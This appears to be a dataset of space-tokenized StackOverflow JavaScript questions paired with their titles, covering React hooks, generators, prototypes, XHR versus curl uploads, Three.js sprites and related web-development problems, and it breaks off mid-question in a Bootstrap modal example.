from*/ in the function declaration , and the zero-fill right shift > > > in the extracting of the length of the array ( var len = this.length > > > 0 ; ) . if ( ! Array.prototype.indexOf ) { Array.prototype.indexOf = function ( elt /* , from*/ ) { var len = this.length > > > 0 ; var from = Number ( arguments [ 1 ] ) || 0 ; from = ( from < 0 ) ? Math.ceil ( from ) : Math.floor ( from ) ; if ( from < 0 ) from += len ; for ( ; from < len ; from++ ) { if ( from in this & & this [ from ] === elt ) return from ; } return -1 ; } ; }","Why use /* , */ around arguments and why use > > > when extracting the length of an array ?" JS : I need to remove tags going after # first and only in # container.How can I do it with jQuery ? Thank you < div id= '' container '' > < div id= '' first '' > < /div > < div id= '' remove_me_1 '' > < /div > < div id= '' remove_me_2 '' > < /div > < div id= '' remove_me_3 '' > < /div > < a href= '' '' id= '' remove_me_too '' > Remove me too < /a > < /div >,How to remove all tags after certain tag ? "JS : I 'm trying to work with material-ui and react-tap-event-plugin but I am getting this error when the app is loaded : This is my index.tsx file : This is my index.html file : This is my tsconfig.json : My package.json : Here is the entire source code on BitBucket.I 'm sure what the problem is because the debugger shows that injectTapEventPlugin is invoked , so why am I getting an error ? react-dom.js:18238 Warning : Unknown prop ` onTouchTap ` on < button > tag . Remove this prop from the element . For details , see https : // ... . in button ( created by EnhancedButton ) in EnhancedButton ( created by IconButton ) in IconButton ( created by AppBar ) in div ( created by Paper ) in Paper ( created by AppBar ) in AppBar ( created by AppLayout ) in div ( created by AppLayout ) in div ( created by AppLayout ) in AppLayout in MuiThemeProvider import * as injectTapEventPlugin from 'react-tap-event-plugin ' ; injectTapEventPlugin ( ) ; //I am able to get into this in the js debuggerReactDOM.render ( ... . ) < div id= '' app '' > < /div > < script src= '' /node_modules/react/dist/react.js '' > < /script > < script src= '' /node_modules/react-dom/dist/react-dom.js '' > < /script > < script src= '' /dist/bundle.js '' > < /script > { `` compilerOptions '' : { `` outDir '' : `` ./dist/ '' , `` allowJs '' : true , `` sourceMap '' : true , `` noImplicitAny '' : false , `` noEmit '' : true , `` baseUrl '' : `` . `` , `` suppressImplicitAnyIndexErrors '' : true , `` module '' : `` commonjs '' , `` target '' : `` es5 '' , `` jsx '' : `` react '' } , `` include '' : [ `` ./src/**/* '' , ] , `` exclude '' : [ `` node_modules '' // do n't run on any code in the node_modules directory ] } { `` name '' : `` affiliate_portal_client '' , `` version '' : `` 1.0.0 '' , `` description '' : `` '' , `` main '' : `` index.js '' , `` scripts '' : { `` test '' : `` echo \ '' Error : no test specified\ '' & & exit 1 '' , `` watch '' : `` webpack '' } , `` author '' : `` '' , `` license '' : `` ISC '' , `` dependencies '' : { `` @ types/react '' : `` ^15.0.25 '' , `` @ types/react-dom '' : `` ^15.5.0 '' , `` react '' : `` ^15.5.4 '' , `` react-addons-css-transition-group '' : `` ^15.5.2 '' , `` react-dom '' : `` ^15.5.4 '' , `` react-tap-event-plugin '' : `` ^2.0.1 '' , `` material-ui '' : `` ^0.18.1 '' } , `` devDependencies '' : { `` @ types/react-tap-event-plugin '' : `` 0.0.30 '' , `` awesome-typescript-loader '' : `` ^3.1.3 '' , `` source-map-loader '' : `` ^0.2.1 '' , `` typescript '' : `` ^2.3.3 '' } }",Why is n't react-tap-event-plugin working in my TypeScript project ? "JS : Today I happened to have too much time to kill and I played a bit with the Node ( v0.10.13 ) command line : Now , according to MDN , what instanceof does is : The instanceof operator tests whether an object has in its prototype chain the prototype property of a constructor.But clearly Object.prototype IS in 1 's prototype chain . So why is 1 instanceof Object false ? Perhaps because 1 is a primitive not an object to begin with ? Okay , I accept that , and I did more tests : So apparently all number primitives inherit from one object , and all string primitives inherit from another object . Both these 2 objects inherit from Object.prototype.Now the question is , if numbers and strings are considered primitives , why inherit them from other objects ? Or inversely , as they inherit from other objects , why not consider them objects too ? It seems nonsensical to me that the child of an object is n't an object..By the way , I have also tested these in Firefox 22 and got the same result . > 1 instanceof Objectfalse > ( 1 ) .__proto__ { } > ( 1 ) .__proto__ instanceof Objecttrue > ( 1 ) .__proto__.__proto__ === Object.prototypetrue > ( 1 ) .__proto__ === ( 2 ) .__proto__true > ' a'.__proto__ === ' b'.__proto__true > ( 1 ) .__proto__ === ' a'.__proto__false > ( 1 ) .__proto__.__proto__ === ' a'.__proto__.__proto__true > ( 1 ) .__proto__.type = 'number '' number ' > ' a'.__proto__.type = 'string '' string ' > ( 2 ) .type'number ' > ( 1.5 ) .type'number ' > ' b'.type'string '",Why are JavaScript primitives not instanceof Object ? "JS : I need to filter a nested structure , that looks like this , based on query . I need to return all objects , including the parent object of the subtree , which match the query string in object name . Please help , i am stuck.Right now i am able to find a match in the tree recursively , but the function returns the object on the first match and does not search deeper on sub levels in the same object . Any suggestions , how i can modify the code to go search through all levels recursively ? if I am searching for query 'bob ' , the expected result should be , [ { name : 'bob ' , type : 1 , children : [ { name : 'bob ' , type : 2 , children : [ { name : 'mike ' , type : 3 , children : [ { name : 'bob ' , type : 7 , children : [ ] } , { name : 'mike ' , type : 9 , children : [ ] } ] } ] } , { name : 'mike ' , type : 2 } ] } ] return tree.map ( copy ) .filter ( function filterNested ( node ) { if ( node.name.toLowerCase ( ) .indexOf ( query ) ! == -1 ) { return true ; } if ( node.children ) { return ( node.children = node.children.map ( copy ) .filter ( filterNested ) ) .length ; } } ) ; const arr = [ { name : 'bob ' , type : 1 , children : [ { name : 'bob ' , type : 2 , children : [ { name : 'mike ' , type : 3 , children : [ { name : 'bob ' , type : 7 } , ] } ] } , ] } ]",Recursive Filter on Nested array "JS : I 'm using react-three-renderer ( npm , github ) for building a scene with three.js.I 'm attempting to use < sprite > and < spriteMaterial > to make a label that always faces the camera , much like in stemkoski 's example.However , I 'm having trouble getting the label to display and appropriately setting its coordinates . I have a minimally verifiable complete example at Sprite-Label-Test . Download it , run npm install , and open _dev/public/home.html.My goal is to see text displayed where I expect it , but as you 'll see , it 's just blackness . To prove that the sprite is in the view of the camera , I put a box at the same position . To see that uncomment it from the render method and re-gulp.Here 's my file . It has two main components , the componentDidMount method , where the text is created for the sprite , and the render method.What am I doing wrong ? How can I display a sprite text label in the position established with the line var position = new THREE.Vector3 ( 0 , 0 , 10 ) ; ? Thanks in advance . var React = require ( 'react ' ) ; var React3 = require ( 'react-three-renderer ' ) ; var THREE = require ( 'three ' ) ; var ReactDOM = require ( 'react-dom ' ) ; class Simple extends React.Component { constructor ( props , context ) { super ( props , context ) ; // construct the position vector here , because if we use 'new ' within render , // React will think that things have changed when they have not . this.cameraPosition = new THREE.Vector3 ( 0 , 0 , 100 ) ; } componentDidMount ( ) { var text = `` Hello world '' ; var canvas = document.createElement ( 'canvas ' ) ; var context = canvas.getContext ( '2d ' ) ; var metrics = context.measureText ( text ) ; var textWidth = metrics.width ; context.font = `` 180px arial Bold '' ; context.fillStyle = `` rgba ( 255,0,0,1 ) '' ; context.strokeStyle = `` rgba ( 255,0,0,1 ) '' ; context.lineWidth = 4 ; context.fillText ( text , 0 , 0 ) ; var texture = new THREE.Texture ( canvas ) texture.needsUpdate = true ; this.spriteMaterial.map = texture ; this.spriteMaterial.useScreenCoordinates = false ; } render ( ) { const width = window.innerWidth ; // canvas width const height = window.innerHeight ; // canvas height var position = new THREE.Vector3 ( 0 , 0 , 10 ) ; var scale = new THREE.Vector3 ( 1,1,1 ) ; return ( < React3 mainCamera= '' camera '' // this points to the perspectiveCamera which has the name set to `` camera '' below width= { width } height= { height } > < scene > < perspectiveCamera name= '' camera '' fov= { 75 } aspect= { width / height } near= { 0.1 } far= { 1000 } position= { this.cameraPosition } / > < sprite position= { position } scale= { scale } ref= { ( sprite ) = > this.sprite = sprite } > < spriteMaterial ref= { ( spriteMaterial ) = > this.spriteMaterial = spriteMaterial } > < /spriteMaterial > < /sprite > { /* < mesh position= { position } > < boxGeometry width= { 10 } height= { 10 } depth= { 10 } / > < meshBasicMaterial color= { 0x00ff00 } / > < /mesh > */ } < /scene > < /React3 > ) ; } } ReactDOM.render ( < Simple/ > , document.querySelector ( '.root-anchor ' ) ) ;",Sprite Labels with React-Three-Renderer ( MVCE included ) "JS : I have a Qt application that launches Webviews using QWebChannel.In these views , I have the JavaScript doing some stuff in order to position/resize the window depending on the screen size . The screen object is supposed to give this kind of information . ( screen doc ) But in my QWebEnginePage , the screen object is empty during the whole loading process . If I put a listener on a button to get screen.height somewhere on the page , now it works.So my question is , how can I access screen values at some point in my JavaScript ? //js local file called in html head//screen = { } document.addEventListener ( `` load '' , function ( event ) { //screen = { } new QWebChannel ( qt.webChannelTransport , function ( channel ) { //screen = { } //stuff channel.object.myClass.show ( function ( res ) { //Qt function that calls the show ( ) method of the QWebEngineView //screen = { } } ) ; } ) ; document.getElementById ( `` myBtn '' ) .addEventListener ( `` click '' , function ( ) { console.log ( `` height : '' + screen.height ) ; // screen : 1440 } ) ; } ) ;",screen object in JavaScript not available in a QWebEnginePage JS : Consider the following javascript codeCan anyone explain how object b is accessing the `` foo '' property of a even after setting b.__proto__ to null ? What is the internal link which is used to access the property of a ? I tried searching through SO for possible explanations but could n't find any explanation for this particular behaviour of Javascript . var a = Object.create ( null ) ; a.foo = 1 ; var b = Object.create ( a ) ; console.log ( b.foo ) ; //prints 1console.log ( b.__proto__ ) ; //prints undefinedb.__proto__ = null ; console.log ( b.__proto__ ) ; //prints nullconsole.log ( b.foo ) ; //prints 1,How does __proto__ work when object is created with Object.create ( null ) "JS : I have IIFE functions for some of the library code in an legacy application that needs to work for IE10+ ( No ES6 module loading , etc ) .However , I am starting to develop an React app that will be using ES6 and TypeScript and I want to reuse the code I already have without duplicating the files . After a bit of research I found that I 'd want to use a UMD pattern to allow these library files to work both as < script src=* > imports and to allow the React app to import them via ES6 module loading.I came up with the following conversion : toThis will allow loading via Import Utils from './Utils.js ' command and also allow it to be inserted using a script tag < script src='Utils.js ' > < /script > However , some of my IIFE use other IIFE 's as a dependency ( bad I know but a reality ) .If correctly turn RandomHelper and Utils into files that can be imported , the React app is n't compatible with this technique . Doing simplydoes not work because I believe Utils is not window scoped . It will load without issue but RandomHelper.DoThing ( ) will throw that Utils is not defined.In the legacy appworks flawlessly.How can I have RandomHelper be able to use Utils in a React app , keeping it IE and ES5 compatible but still work in react . Perhaps somehow setting a window/global variable ? PS : I understand the point of the ES6 module loading is to deal with dependencies and my existing IIFEs are not ideal . I plan to eventually switch es6 classes and better dependency control but for now I want to use whats available to be without re-writing var Utils = ( function ( ) { var self = { MyFunction : function ( ) { console.log ( `` MyFunction '' ) ; } } ; return self ; } ) ( ) ; ( function ( global , factory ) { typeof exports === 'object ' & & typeof module ! == 'undefined ' ? factory ( exports ) : typeof define === 'function ' & & define.amd ? define ( [ 'exports ' ] , factory ) : ( factory ( ( global.Utils = { } ) ) ) ; } ( this , ( function ( exports ) { exports.MyFunction = function ( ) { console.log ( `` MyFunction '' ) ; } ; } ) ) ) ; var Utils = Utils ; // Used to indicate that there is dependency on Utilsvar RandomHelper = ( function ( ) { var self = { DoThing : function ( ) { Utils.MyFunction ( ) ; } } ; return self ; } ) ( ) ; Import Utils from './Utils.js'Import RandomHelper from './RandomHelper.js ' < script src='Utils.js ' > < /script > < script src='RandomHelper.js ' > < /script >",Load and consume legacy JS modules ( e.g . IIFEs ) via ES6 module imports "JS : I 'm tackling Generators in ES6 , and I would like to understand , conceptually , what 's happening in the function below : My question is : why does the first push is ignored ? Should n't the array be something like people = [ 'Brian ' , 'John ' , 'Paul ' , undefined ] ? Sorry for the silly question , but I would really love to be able to fully grasp this . Thanks in advance ! function* createNames ( ) { const people = [ ] ; people.push ( yield ) ; people.push ( yield ) ; people.push ( yield ) ; return people ; } const iterator = createNames ( ) ; iterator.next ( 'Brian ' ) ; iterator.next ( 'Paul ' ) ; iterator.next ( 'John ' ) ; iterator.next ( ) ; // output : [ `` Paul '' , `` John '' , undefined ]",How does the yield keyword really work in JavaScript ES6 Generators ? "JS : I 'm trying to find a way to put as much hexagons in a circle as possible . So far the best result I have obtained is by generating hexagons from the center outward in a circular shape . But I think my calculation to get the maximum hexagon circles is wrong , especially the part where I use the Math.ceil ( ) and Math.Floor functions to round down/up some values . When using Math.ceil ( ) , hexagons are sometimes overlapping the circle.When using Math.floor ( ) on the other hand , it sometimes leaves too much space between the last circle of hexagons and the circle 's border . var c_el = document.getElementById ( `` myCanvas '' ) ; var ctx = c_el.getContext ( `` 2d '' ) ; var canvas_width = c_el.clientWidth ; var canvas_height = c_el.clientHeight ; var PI=Math.PI ; var PI2=PI*2 ; var hexCircle = { r : 110 , /// radius pos : { x : ( canvas_width / 2 ) , y : ( canvas_height / 2 ) } } ; var hexagon = { r : 20 , pos : { x : 0 , y : 0 } , space : 1 } ; drawHexCircle ( hexCircle , hexagon ) ; function drawHexCircle ( hc , hex ) { drawCircle ( hc ) ; var hcr = Math.ceil ( Math.sqrt ( 3 ) * ( hc.r / 2 ) ) ; var hr = Math.ceil ( ( Math.sqrt ( 3 ) * ( hex.r / 2 ) ) ) + hexagon.space ; // hexRadius var circles = Math.ceil ( ( hcr / hr ) / 2 ) ; drawHex ( hc.pos.x , hc.pos.y , hex.r ) ; //center hex /// for ( var i = 1 ; i < =circles ; i++ ) { for ( var j = 0 ; j < 6 ; j++ ) { var currentX = hc.pos.x+Math.cos ( j*PI2/6 ) *hr*2*i ; var currentY = hc.pos.y+Math.sin ( j*PI2/6 ) *hr*2*i ; drawHex ( currentX , currentY , hex.r ) ; for ( var k = 1 ; k < i ; k++ ) { var newX = currentX + Math.cos ( ( j*PI2/6+PI2/3 ) ) *hr*2*k ; var newY = currentY + Math.sin ( ( j*PI2/6+PI2/3 ) ) *hr*2*k ; drawHex ( newX , newY , hex.r ) ; } } } } function drawHex ( x , y , r ) { ctx.beginPath ( ) ; ctx.moveTo ( x , y-r ) ; for ( var i = 0 ; i < =6 ; i++ ) { ctx.lineTo ( x+Math.cos ( ( i*PI2/6-PI2/4 ) ) *r , y+Math.sin ( ( i*PI2/6-PI2/4 ) ) *r ) ; } ctx.closePath ( ) ; ctx.stroke ( ) ; } function drawCircle ( circle ) { ctx.beginPath ( ) ; ctx.arc ( circle.pos.x , circle.pos.y , circle.r , 0 , 2 * Math.PI ) ; ctx.closePath ( ) ; ctx.stroke ( ) ; } < canvas id= '' myCanvas '' width= '' 350 '' height= '' 350 '' style= '' border:1px solid # d3d3d3 ; '' >",filling circle with hexagons "JS : Currently the program are working , but the interface are annoying that because of the alert ( ) function I 'm using in getData ( ) function ! ! and when I delete this line from the getData ( ) function the whole program goes wrong ! ! I do n't know what the problem is ? dose anyone have a better idea to do such a process ? The program I 'm trying to make here aims to help users find restaurant within 50km from their current address , I 've already collected various location addresses and record it in the database.initialize ( ) function called when HTML body are loaded , in the first lines of the HTML body the restaurant data will be extract from MySQL using PHP which will print the data into JavaScript arrays jsres_add , jsres_id , jsres_name and jsnu so I can use them in JavaScript code . *please notice that the JavaScript code such as the below one are separated in .js file var geocoder , location1 , location2 , gDir , oMap , jsnu , arraynu , address2 ; jsres_add = new Array ( ) ; jsres_id = new Array ( ) ; jsres_name = new Array ( ) ; function initialize ( ) { geocoder = new GClientGeocoder ( ) ; gDir = new GDirections ( ) ; GEvent.addListener ( gDir , `` load '' , function ( ) { var drivingDistanceMiles = gDir.getDistance ( ) .meters / 1609.344 ; var drivingDistanceKilometers = gDir.getDistance ( ) .meters / 1000 ; if ( drivingDistanceKilometers < 50 ) { // function to save search result within 50km into database using ajax saveSearchResult ( jsres_id [ arraynu ] , jsres_name [ arraynu ] , drivingDistanceKilometers ) ; } } ) ; } function getData ( ) { emptytable ( ) ; //function to empty search result table using ajax //jsnu is the number of the restaurants data found in database for ( var ii = 0 ; ii < jsnu ; ii++ ) { arraynu = ii ; address2 = jsres_add [ ii ] ; showLocation ( ) ; alert ( `` done ! `` ) ; } showResults ( ) ; //function to print out the search result from database into html body using ajax } function showLocation ( ) { geocoder.getLocations ( document.forms [ 0 ] .address1.value , function ( response ) { if ( ! response || response.Status.code ! = 200 ) { alert ( `` Sorry , we were unable to geocode your address '' ) ; } else { location1 = { lat : response.Placemark [ 0 ] .Point.coordinates [ 1 ] , lon : response.Placemark [ 0 ] .Point.coordinates [ 0 ] , address : response.Placemark [ 0 ] .address } ; geocoder.getLocations ( address2 , function ( response ) { if ( ! response || response.Status.code ! = 200 ) { alert ( `` Sorry , we were unable to geocode the second address '' ) ; } else { location2 = { lat : response.Placemark [ 0 ] .Point.coordinates [ 1 ] , lon : response.Placemark [ 0 ] .Point.coordinates [ 0 ] , address : response.Placemark [ 0 ] .address } ; gDir.load ( 'from : ' + location1.address + ' to : ' + location2.address ) ; } } ) ; } } ) ; }",How to get distance from a location to various locations by one click using Google maps API ? "JS : TL ; DRI want to modify the prototype of a generator function instance -- that is , the object returned from calling a function*.Let 's say I have a generator function : Then , I make an instance of it : I want to define a prototype of generators called exhaust , like so : which would produce : I can hack it by doing this : However , ( function* ( ) { } ) ( ) .constructor.prototype.exhaust seems very ... hacky . There is no GeneratorFunction whose prototype I can readily edit ... or is there ? Is there a better way to do this ? function* thing ( n ) { while ( -- n > =0 ) yield n ; } let four = thing ( 4 ) ; four.exhaust ( item = > console.log ( item ) ) ; 3210 ( function* ( ) { } ) ( ) .constructor.prototype.exhaust = function ( callback ) { let ret = this.next ( ) ; while ( ! ret.done ) { callback ( ret.value ) ; ret = this.next ( ) ; } }",Modifying generator function prototype "JS : I have textarea and I want to change text that says what character is after the caret ( cursor ) .I know how to get caret position . The problem is I do n't know what event is invoked when users movet the caret ( by typing , pressing arrow keys , clicking , pasting text , cutting text , … ) . < textarea id= '' text '' > < /textarea > < br/ > Character after the caret : < span id= '' char '' > < /span >",javascript – execute when textarea caret is moved "JS : This CSS : applied to this HTML : produces centered responsive images in a table cell of the appropriate width . All images end up having the same width and thats what I want . I would also like the images to have the same height in a responsive manner . So I added this Javascript to the page to update the padding.The Question is : Can I achieve the same effect without the Javascript code ; just using CSS ? Fiddle at http : //jsfiddle.net/ybkgLq4d/ .outer-img-wrap { border : 2px solid gray ; margin : 1vw auto ; max-width : 192px ; text-align : center ; overflow : hidden ; } .outer-img-wrap img { width : auto ! important ; height : auto ! important ; max-width : 100 % ; vertical-align : middle ; } .inner-img-wrap { background : # 000 ; border : thin solid # ff9900 ; margin : 2px ; } < td style= '' width : 25 % '' > < div class= '' outer-img-wrap '' > < div class= '' inner-img-wrap '' > < img src= '' http : //placehold.it/64x64 '' / > < /div > < /div > < /td > function resizeImageElements ( ) { var imageElements = $ ( `` .outer-img-wrap .inner-img-wrap img '' ) ; var imageElementsMaxHeight = -1 ; imageElements.map ( function ( index ) { // compare the height of the img element if ( $ ( this ) .height ( ) > imageElementsMaxHeight ) { imageElementsMaxHeight = $ ( this ) .height ( ) ; } } ) ; imageElements.map ( function ( index ) { var computeTopBottomPadding = ( imageElementsMaxHeight - $ ( this ) .height ( ) ) / 2 ; $ ( this ) .css ( { `` padding-top '' : computeTopBottomPadding , `` padding-bottom '' : computeTopBottomPadding , } ) ; } ) ; } resizeImageElements ( ) ;",Vertical padding of responsive images "JS : I was looking at some tutorial on React Hooks and in the tutorial the author created a useDropdown hook for rendering reusable dropdowns . The code is like thisand he used this in a component like thisHe said this way we can create reusable dropdown components . I was wondering how is this different from defining a plain old Dropdown component and pass props into it . The only difference I can think of in this case is that now we have the ability to get the state and setState in the parent component ( i.e . SomeComponent ) and read / set the state of the child ( i.e . the component output by useDropdown ) directly from there . However is this considered an anti-pattern since we are breaking the one way data flow ? import React , { useState } from `` react '' ; const useDropdown = ( label , defaultState , options ) = > { const [ state , updateState ] = useState ( defaultState ) ; const id = ` use-dropdown- $ { label.replace ( `` `` , `` '' ) .toLowerCase ( ) } ` ; const Dropdown = ( ) = > ( < label htmlFor= { id } > { label } < select id= { id } value= { state } onChange= { e = > updateState ( e.target.value ) } onBlur= { e = > updateState ( e.target.value ) } disabled= { ! options.length } > < option / > { options.map ( item = > ( < option key= { item } value= { item } > { item } < /option > ) ) } < /select > < /label > ) ; return [ state , Dropdown , updateState ] ; } ; export default useDropdown ; import React , { useState , useEffect } from `` react '' ; import useDropdown from `` ./useDropdown '' ; const SomeComponent = ( ) = > { const [ animal , AnimalDropdown ] = useDropdown ( `` Animal '' , `` dog '' , ANIMALS ) ; const [ breed , BreedDropdown , updateBreed ] = useDropdown ( `` Breed '' , `` '' , breeds ) ; return ( < div className= '' search-params '' > < form > < label htmlFor= '' location '' > Location < input id= '' location '' value= { location } placeholder= '' Location '' onChange= { e = > updateLocation ( e.target.value ) } / > < /label > < AnimalDropdown / > < BreedDropdown / > < button > Submit < /button > < /form > < /div > ) ; } ; export default SomeComponent ;",confusion about this React custom hook usage JS : Is there anyway that `` About us '' can appear as just text and not a button on the website ? < li id= '' item2 '' > < button onclick= '' myFunction2 ( ) '' > About us < /button > < /li >,Make an html button appear as text "JS : I am new to angular.js and currently writing my first project.Currently my controllers look like this , for example : They work just fine that way ( so far ) , but I browsed the source of another AngularJS application and noticed they 're using angular.module to create their controllers.Why , if at all , would I want to do this in my own application ? function MyCtrl ( $ scope , MyService ) { $ scope.foo = MyService.doStuff ( ) ; }","What is the benefit , if any , of using angular.module for creating controllers ?" "JS : I have a list of all Shakespeare sonnets and I 'm making a function to search for each sonnet . However , I want to be able to search them using arabic numbers ( for example `` /sonnet 122 '' . The .txt is formatted this way : I am using node right now to try to do it , but I 've been trying since yesterday to no avail . My last attempts yesterday were using the 'replace ' method as such : Then I tried replacing them with : Then I tried with a for loop . I did n't keep that code , but it was something like : The last code replaces each number and then erases the data and replaces the next number as such : How do I make it iterate each occurrence in the data and keep it ? Then saving it to a new txt should be easy . ( Also , my RegExp only finds multiple character roman numbers to avoid replacing lonely I 's that could be found at the end of a line . ) IThis is a sonnetIIThis is a second sonnet 'use strict ' ; //require module roman-numerals , which converts roman to arabicvar toArabic = require ( 'roman-numerals ' ) .toArabic ; //require file-handling modulevar fs = require ( 'fs ' ) ; fs.readFile ( 'sonn.txt ' , 'utf8 ' , function ( err , data ) { if ( err ) { console.log ( err ) ; } else { var RN = / [ A-Z ] { 2 , } /g ; var found = data.match ( RN ) ; //finds all roman numbers and puts them in an array var numArr = [ ] ; for ( var i = 0 ; i < found.length ; i++ ) { numArr.push ( toArabic ( found [ i ] ) ) ; //puts all arabic numbers in numArr } for ( var e = 0 ; e < found.length ; e++ ) { data.replace ( found , found.forEach ( ( x , i ) = > { toArabic ( x ) } } ) ; data.replace ( found , function ( s , i ) { return numArr [ i ] ; } ) ; for ( var i=0 ; i < found.length ; i++ ) { data.replace ( found , numArr [ i ] ) ; } replace ( abc , 123 ) - > 1bc , a2c , ab3",How to replace all roman numbers in a string for the arabic equivalent ? "JS : According to this node style guide , giving closures a name is a good practice : Right WrongHowever , I 'm used to thinking of the ... syntax as something that creates a global variable , someName or window.someName for that function . Is this really a good practice , or is that a very bad style guide ? req.on ( 'end ' , function onEnd ( ) { console.log ( 'winning ' ) ; } ) ; req.on ( 'end ' , function ( ) { console.log ( 'losing ' ) ; } ) ; function someName ( ) { someStatements ( ) ; }",Does named closures pollute the global/window object ? "JS : I have an animation script that is supposed to change a div 's animation based upon mouse events ( like mousemove , click , etc ) . One issue is that an animation is supposed to start every time you click the div . In Chrome , the only browser available for testing * ( read note at bottom ) , this does not work : when the item is clicked once , it works as expected , but if it is clicked twice ( two events fired ) what happens is that : in element inspector , the class shows a changehowever , the animation continues as if the class never changed , and the second event never fired.NOTE : I unfortunately only have a chromebook , and I can not do testing on other browser since I only have chrome . I know I am cheap . I am sorry . ADDITIONAL NOTE : native javascript is preferred , but jQuery solutions are not bad.MORE NOTES : for clarity , as I think I have confused many people , when the object is clicked the second time , the animation is supposed to start over , not continue.JS FIDDLE ( As requested ) : that fiddle //The non-clicked class is `` notClicked '' //The clicked class is `` clicked '' //The will be referred to as elemelem.onclick = function ( ) { elem.className= '' notClicked '' ; elem.className= '' clicked '' ; }",Is it possible to reset a class ( specifically its animation ) back to its initial state on click "JS : My concern being unbounded stack growth . I think this is not recursion since the x ( ) call in the timer results in a brand new set of stack frames based on a new dispatch in the JS engine.But reading the code as an old-fashioned non JS guy it makes me feel uneasyOne extra side question , what happens if I scheduled something ( based on math rather than a literal ) that resulted in no delay . Would that execute in place or would it be in immediately executed async , or is that implementation defined function x ( ) { window.setTimeout ( function ( ) { foo ( ) ; if ( notDone ( ) ) { x ( ) ; } ; } ,1000 ) ; }",Is this recursion or not "JS : I 'm trying to get the return value of a JavaScript function I 've written . I can do it using a very complicated method involving listeners , but I 'm wanting to use Eclipse 's Browser.evaluate method.As a toy problem , I have the following code in a Java file : where this.browser is created in a class extending org.eclipse.ui.part.EditorPart in the overridden function createPartControl : However , instead of result being a Java String with the contents `` Hello World '' , it 's null . Am I using this method incorrectly , or is it broken ? Object result = this.browser.evaluate ( `` new String ( \ '' Hello World\ '' ) '' ) ; public void createPartControl ( Composite parent ) { // Create the browser instance and have it this.browser = new Browser ( parent , SWT.NONE ) ; this.browser.addFocusListener ( new FocusAdapter ( ) { @ Override public void focusGained ( FocusEvent e ) { SomeEditor.this.getSite ( ) .getPage ( ) .activate ( SomeEditor.this ) ; } } ) ; new ErrorReporter ( this.browser ) ; this.browser.setUrl ( Activator.getResourceURL ( `` html/java-shim.html '' ) .toString ( ) ) ; ... more stuff snipped ... }",Is there a simple way to get the JavaScript output in Java ( using Eclipse ) ? "JS : I 'm working with a rest API with token based authentication where some users have permissions to upload a file and some do n't . The problem is when some user without permission to upload a file tries to upload ( Say a 1GB file ) , I 'm getting the error response only after the whole of 1GB is uploaded.If I copy the request as curl from chrome developers tools and send it via terminal it fails immediately.I tested the curl command with the token of user who has permissions to upload , it works as expected.So , How is curl different from XHR ? Curl is synchronous , and XHR is not by default . I tried making XHR synchronous , but it still has to upload the whole file before it got a response.Here is the exact curl command , formatted for readability : //Headers stripped except for token -- - Update 21-02-2017 -- -To rule out any API end point specific behaviour , I wrote a crude PHP script to test this observation and it is still true . Below is the php script I tried uploading to . function upload ( file , url ) { var xhr = new XMLHttpRequest ( ) ; xhr.upload.key = xhr.key = file.key xhr.upload.addEventListener ( `` progress '' , updateProgress ) ; xhr.addEventListener ( `` error '' , transferFailed ) ; xhr.addEventListener ( `` abort '' , transferCanceled ) ; xhr.open ( `` PUT '' , url ) ; xhr.setRequestHeader ( `` Content-Type '' , `` application/octet-stream '' ) ; xhr.setRequestHeader ( `` X-Auth-Token '' , service.token.token ) ; xhr.addEventListener ( `` readystatechange '' , function ( e ) { if ( this.readyState === 4 & & this.status > = 200 & & this.status < 300 ) { transferComplete ( e ) } if ( this.readyState === 4 & & this.status === 0 ) { transferFailed ( e ) } if ( this.status > = 400 ) { transferFailed ( e ) } } ) ; xhr.send ( file ) ; } curl 'https : //my-website.com/54321/my-filename.jpg ' -X PUT -H 'Pragma : no-cache ' -H 'Origin : https : //my-website.com ' -H 'Accept-Encoding : gzip , deflate , sdch , br ' -H 'Accept-Language : en-US , en ; q=0.8 ' -H 'User-Agent : Mozilla/5.0 ( Macintosh ; Intel Mac OS X 10_12_3 ) AppleWebKit/537.36 ( KHTML , like Gecko ) Chrome/56.0.2924.87 Safari/537.36 ' -H 'Content-Type : application/octet-stream ' -H 'Accept : */* ' -H 'Cache-Control : no-cache ' -H ' X-Auth-Token : fsadgsdgs ' -H 'Referer : https : //some-allowed-origin-referrer.com/ ' -H 'Connection : keep-alive ' -H 'Content-Length : 86815 ' -F `` data= @ /Users/satish/abc.jpg '' -- compressed -- insecure curl 'https : //my-website.com/54321/my-filename.jpg ' -X PUT -H ' X-Auth-Token : fsadsdsdaf ' -F `` data= @ /Users/satish/abc.jpg '' -- compressed -- insecure < ? php/** * If I comment out the below lines , then curl is failing immediately . * But XHR does n't **/// http_response_code ( 400 ) ; // return ; /* PUT data comes in on the stdin stream */ $ putdata = fopen ( `` php : //input '' , `` r '' ) ; /* Open a file for writing */ $ file = fopen ( `` /Users/satish/Work/Development/htdocs/put-test/wow.jpg '' , `` w '' ) ; /* Read the data 1 KB at a time and write to the file */while ( $ data = fread ( $ putdata , 1024 ) ) { fwrite ( $ file , $ data ) ; } /* Close the streams */fclose ( $ file ) ; fclose ( $ putdata ) ; ? >","Why does CURL 's PUT fail authentication before uploading the payload , but XHR PUT only after ?" "JS : Possible Duplicate : Validate email address in Javascript ? I know there is no way to validate an email address by using only regex , but I think I should be able to reject some obviously invalid ones in order to help friendly users who by mistake entered something different , such as their name or password into the email address field.So , I do not want to reject any valid email addresses , but would like to reject as many invalid email formats as is possible using only a regex . But I guess any javascript/jquery/ ... would be ok too.Here is what I have so far : Yes , there is no regex for real validation , but there should be some for rejection . No , this will not prevent anyone from entering fake addresses . Yes , you still have to send a confirmation email to validate for real.The above regex will be used from javascript. -- In .NET I would instead let .NET validate the email format usingand if ok , check the DNS records for the domain part to see if there might be an email server . Only if the DNS records clearly indicate that there can be no email server or if there is no such domain then the email address is rejected . Then cache some of the results in order to speed up future lookups.Still , I have to send confirmation emails for validation ... ^.+ @ .+\..+ $ try { var mailAddress = new MailAddress ( possibleMailAddress ) ; }",What is the least bad regex to reject definitely invalid email addresses ? "JS : I have a bootstrap modal to input data , and when the Submit button get clicked I want to push the data into a bootstrap table . But nothing happens and I do not know why ... This is my modal : This is my table : And this is my function : Can anyone help ? < div class= '' modal fade-scale '' id= '' workExpModal '' name= '' workExpModal '' role= '' dialog '' > < div class= '' modal-dialog '' > < div class= '' modal-content '' > < div class= '' modal-header '' > < h4 class= '' modal-title '' > Work Experience < /h4 > < /div > < div class= '' modal-body '' > < form action= '' '' method= '' post '' ng-submit= '' saveWorkExp ( ) '' name= '' workExpForm '' > < div class= '' form-group '' > < label > Time : < /label > < br > < div class= '' row '' > < div class= '' col-md-6 '' > < input type= '' text '' class= '' form-control '' id= '' timeStart '' placeholder= '' From : 